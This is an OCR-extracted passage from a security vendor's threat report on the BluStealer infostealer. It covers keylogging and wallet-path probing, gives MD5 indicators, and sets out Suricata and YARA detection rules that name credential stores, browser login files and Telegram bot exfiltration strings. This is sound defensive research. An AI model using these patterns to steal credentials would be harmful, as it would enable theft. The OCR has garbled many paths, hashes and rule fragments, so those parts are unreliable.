7844 b CreateFile
7844 [Bh CreateFile
7844 [Bh CreateFile
7844 [Bh CreateFile
744 BaﬂueryDirectory
7844 [Bh CloseFile

Figure 16: Cryptocurrency Wallets
BluStealer's main component also has keylogging functionality, which is achieved by

employing the commonly used method of polling user32.getAsyncKeyState, which

Path
C:WsershmalwarehAppD ata'\B oaming

C:AU zershmabwarehdppl atahR oaming Zeazh

C:AU zershmabwarehAppl atabR oaning

C:\U zershmabwarehbppl atabR oaming

C:\U zershmabmarehAppl atabR oaming Armory

C:AU zershmabwarehbppl atabR oaning

C:AU zershmabwarehbppl atabR oaning

C:\U zershmabwarehbppl ataR oaming bytecain

C:AU zershmabwarehbppl atabR oaning

C:AU zershmabwarehbppl atabR oamingscom. liberty jasst ndex=dD BY
C:AU zershmabwarehAppD atahR oamingE xodushexodus. wallel

L\ zershmalwarehAppl atahR oaming'E thereurn

C:\U zershmabwarehbppl ataR oamingElectum

C:AU zershmabwarehbppl atabRoaming.atomichLocal Starages

C:AU zershmabwarehdppl atabR oamings GuardatLocal Storageh

C:\U zershmabwareh b ppl atabLocalhCainomibCoinoni',

LA zershmabwareh A ppD atahR oaming Microzafthwindows Templates
C:\U zershmabmarehAppl ataR oaming Micrazoftywindowsh Termplates Woptah allets

CA zershmabwarehdppD atahR oaming Microzafthwindows\ Templates

determines whether a key is pressed or not at the time of the call.

Conclusion

Result

SUCCESS

0 SUCH FILE
SUCCESS
SUCCESS

MO SUCH FILE
SUCCESS
SUCCESS

0 SUCH FILE
SUCCESS

FATH NOT FOLMD
FATH MOT FOUMD
MAME NOT FOURD
MAME NOT FOURD
FATH NOT FOUMD
FATH NOT FOLUMD
FATH NOT FOLUMD
SUCCESS

0 SUCH FILE
SUCCESS

The newly discovered threat BluStealer is equipped with a robust credential stealing tool set
and is following the unfortunate trend of utilizing legitimate services, such as Telegram and
Discord, for its malware infrastructure, which makes detection increasingly challenging.

By closely monitoring, analyzing, and reverse engineering, GoSecure Titan Labs, as part of
our MDR offering, have created signatures to detect the emerging threats discussed in this

report.

Indicators of Compromise

Indicators of

Compromise

Type Indicator Description
MD5 1010589761b3051eec33681d0513242a Malspam Email
MD5 01d4b90cc7c6281941483e1cccd438b2  ISO File
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MD5 6f7302e24899d1c05dcabbc8ec3e84d4  BluStealer’s Main
Component

MD5 53e09987f7b648fb5c594734a8f7c4e4 ChromeRecovery.exe

MD5 4509c33c251e8e075e4aa95001e35cdf  ConsoleApp8.exe

MD5 00cdcfc91db339be14f441be75e0dec7?  5.exe

MD5 6ae510da968ebcbf5a8661c080ac12fd  ThunderFox.exe

MD5 a1329dab78d5bac41e39034d840c30f1  BluStealer June
Sample

Detection

GoSecure Titan Labs are providing the following signatures to help the community in
detecting and identifying the threats discussed in this report.
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alert smtp any any -> $EXTERNAL_NET any (

msg:"GS MALWARE BluStealer SMTP Exfiltration";

content:"Subject|3a 20|Passwords::::"; nocase; fast_pattern;

content:"\"; distance:0;

flow:to_server, established;

metadata:created 2021-07-02, type malware.stealer, os windows, tlp white, id 0O;
classtype:trojan-activity;

$id:300001712;

rev:1;

alert http any any -> $EXTERNAL_NET any (

msg:"GS MALWARE BluStealer HTTP Exfiltration Group 1";

content:"POST"; http_method;

content:"caption=credentials.txt:::"; http_uri; nocase; fast_pattern;

flow:to_server, established;

metadata:created 2021-09-10, type malware.stealer, os windows, tlp white, id 1;
classtype:trojan-activity;

$id:300001775;

rev:1;

alert http any any -> $SEXTERNAL_NET any

msg:"GS MALWARE BluStealer HTTP Exfiltration Group 2";

content:"POST"; http_method;

content:"text=Passwords:::"; http_client_body; depth:17; nocase; fast_pattern;
flow:to_server, established;

metadata:created 2021-09-16, type malware.stealer, os windows, tlp white, id 2;
classtype:trojan-activity;

$1d:300001776;

rev:1;

rule malware_other_vb5_loader_0 {
meta:
author = "Titan Labs"
company = "GoSecure"
description = "VB5/6-based Loaders"
reference = "https://zero2auto.com/2020/06/22/unpacking-visual-basic-packers/"
hash = "6f7302e24899d1c05dcabbc8ec3e84d4"
created = "2021-09-10"

0os = "windows"

type = "malware.loader"

tlp = "white"

rev = 1
strings:

$obfuscated_aSubMain = { 56 42 35 21 [40] 00 GO 00 00 }
condition:

uint16(0) == Ox5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
math.entropy (0, filesize) >= 7.0 and
pe.imports("MSVBVM60O.d11l", 100) and
$obfuscated_aSubMain
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rule malware_blustealer_0{

meta:
author = "Titan Labs"
company = "GoSecure"
description = "Blustealer Unpacked Infostealer"
created = "2020-06-29"
type = "malware.stealer"
hash = "a1329dab78d5bac41e39034d840c30f1"
0s = "windows"
tlp = "white"
rev = 1
strings:
$stringl = "::::" ascii wide
$string2 = "CompName: " ascii wide
$string3 = " - 64-bit" ascii wide
$stringd = "=============================" ascii wide
$stealerl = "COREFTP" ascii wide
$stealer2 = "Outlook" ascii wide
$stealer3 = "signons.sglite" nocase ascii wide
$stealer4 = "filezilla" nocase ascii wide
$stealer5 = "nordvpn" nocase ascii wide
$stealer6 = "firefox" nocase ascii wide
condition:

uint16(0) == Ox5a4d and
uint32(uint32(0x3c)) == Ox00004550 and
filesize < 464KB and

2 of ($string*) and

3 of ($stealer™)

}
rule malware_blustealer_1 {
meta:
author = "Titan Labs"
company = "GoSecure"
description = "BluStealer Main Component"

hash = "6f7302e24899d1c0®5dcabbc8ec3e84d4"
created = "2021-09-10"

0s = "windows"
type = "malware.stealer"
tlp = "white"
rev = 1
strings:

$obfuscated_aSubMain = { 56 42 35 21 [40] 00 00 00 00 }
$MSVBVMEO = "MSVBVM60.d11" ascii wide nocase
$decryption_routine = { 8b [5] 8b [2] 03 [5] Of 80 [4] 8b [5] 89 [2] 8b [5] 8b
[2] 3b [5] 7f ?? ff 7?2 ?? 8b [2] ff 3?7 e8 [4] 8b ?? 8b
[5] ff 7?2 22 8b [5] ff 7?2 22 e8 [4] 8a ?? 32 ?2? ff 72
?? 8b [2] ff 37 e8 [4] 88 ?? 8b [2] 83 c? ?? Of 80 [4]
89 [2] eb }
"https://api.telegram.org/bot" ascii wide
"/sendDocument?chat_id=" ascii wide
"&caption=" ascii wide
"text=" ascii wide
"&chat_id=" ascii wide
"Content-Disposition: form-data; name=\"document\"; filename=\""

$behavior_0
$behavior_1
$behavior_2
$behavior_3
$behavior_4
$behavior_5
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ascii wide

wide

$behavior_6
$behavior_7
$behavior_8
$behavior_9

"\\Ethereum\\keystore" ascii wide

"RegWrite" ascii wide
"\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe" ascii wide
"\\Microsoft.NET\\Framework\\v2.0.50727\\Installutil.exe" ascii

$behavior_10 =

"HKCU\N\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*RD_" ascii wide

$behavior_11 = "GetAsyncKeyState" ascii wide
$behavior_12 = "SHFileOperationA" ascii wide
$behavior_13 = "GetDesktopWindow" ascii wide
$behavior_14 = "SHGetSpecialFolderLocation" ascii wide
$behavior_15 = "SHGetPathFromIDListA" ascii wide
$behavior_16 = "CallwindowProcW" ascii wide

condition:

}

rule

uint16(0®) == Ox5a4d and

uint32(uint32(0x3c)) == Ox00004550 and
$obfuscated_aSubMain and

$MSVBVM6EO and

($decryption_routine or 13 of ($behavior_*))

malware_thunder_fox_gzip_0 {

meta:

author = "Titan Labs"

company = "GoSecure"

description = "Gzip Compressd ThunderFox Stealer"
hash = "00cdcfc91db339bel4f441be75e0dec7"

created = "2021-09-15"

os = "windows"

type = "malware.stealer"

tlp = "white"

rev = 1

strings:

$compressed_payload = { 00 00 00 00 00 20 FA 48 04 00 1F 8B 08 00 00 00
00 00 04 0O AC BD 09 80 1C 47 75 37 3E D3 77 CF
B5 5B D3 B3 3D B3 BB D2 CE 4A F2 4A AD E9 99 95
76 57 C7 4A 3E 24 1F F8 C4 B6 6C OB 7B 46 3E 24 }

condition:

rule

uint16(0®) == Ox5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
$compressed_payload

malware_thunder_fox_0 {

meta:

author = "Titan Labs"

company = "GoSecure"

description = "ThunderFox Stealer"

hash = "6ae510da968ebcbhf5a8661c080ac12fd"
created = "2021-09-15"

0os = "windows"
type = "malware.stealer"
tlp = "white"
rev = 1
strings:
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"Pale Moon" nocase ascii wide
"Firefox" nocase ascii wide
"Waterfox" nocase ascii wide
"K-Meleon" nocase ascii wide
"Thunderbird" nocase ascii wide
"IceDragon" nocase ascii wide
$browser_6 "Cyberfox" nocase ascii wide
$browser_7 "BlackHawK" nocase ascii wide
$data_store_0 = "logins.json" nocase ascii wide
$data_store_1 "key4.db" nocase ascii wide
$data_store_2 "signons.sglite" nocase ascii wide
$data_store_3 "key3.db" nocase ascii wide
$data_store_4 "moz_logins" nocase ascii wide

$browser_0
$browser_1
$browser_2
$browser_3
$browser_4
$browser_5

$user_cred_0 = "hostname" nocase ascii wide
$user_cred_1 = "encryptedUsername" nocase ascii wide
$user_cred_2 = "encryptedPassword" nocase ascii wide

condition:
uintl6(0) == 0x5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
5 of ($browser_*) and
3 of ($data_store_*) and
2 of ($user_cred_*)

}

rule malware_other_stealer_2 {
meta:

author = "Titan Labs"

company = "GoSecure"

description = "Generic Windows Vault Credential Stealer"

reference =
"https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-
VaultCredential.hash = "4509c33c251e8e075e4aa95001e35cdf"

created = "2021-09-10"

os = "windows"
type = "malware.stealer"
tlp = "white"
rev = 1

strings:
$s1 = "2F1A6504-0641-44CF-8BB5-3612D865F2E5" ascii wide
$s2 = "windows Secure Note" ascii wide
$s3 = "3CCD5499-87A8-4B10-A215-608888DD3B55" ascii wide
$s4 = "wWindows Web Password Credential"ascii wide
$s5 = "154E23D0-C644-4E6F-8CE6-5069272F999F" ascii wide
$s6 = "Windows Credential Picker Protector" ascii wide
$s7 = "4BF4C442-9B8A-41A0-B380-DD4A704DDB28" ascii wide
$s8 = "Web Credentials" ascii wide

$s9 = "77BC582B-FOA6-4E15-4E80-61736B6F3B29" ascii wide

$s10 = "Windows Credentials" ascii wide

$s11 = "E69D7838-91B5-4FC9-89D5-230D4D4CC2BC" ascii wide
$s12 = "Windows Domain Certificate Credential" ascii wide
$s13 = "3EOE35BE-1B77-43E7-B873-AED901B6275B" ascii wide
$s14 = "Windows Domain Password Credential" ascii wide
$s15 = "3C886FF3-2669-4AA2-A8FB-3F6759A77548" ascii wide
$s16 = "Windows Extended Credential" ascii wide

$s17 = "0OOOOO0O-0000-0000-0000-000000000000" ascii wide
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condition:
uintl6(0) == 0x5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
all of them

rule malware_other_stealer_3 {
meta:
author = "Titan Labs"
company = "GoSecure"
description = "Generic WinSCP Credential Stealer"
reference = "https://gist.github.com/jojonas/07c3771711fb19aed1f3"
hash = "4509c33c251e8e075e4aa95001e35cdf"
created = "2021-09-10"

os = "windows"
type = "malware.stealer"
tlp = "white"
rev = 1
strings:
$s1 = "Software\\Martin Prikryl\\WinSCP 2\\Sessions" ascii wide nocase
$s2 = "HostName" ascii wide nocase
$s3 = "UserName" ascii wide nocase
$s4 = "Password"ascii wide nocase

condition:
uint16(0) == Ox5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
all of them
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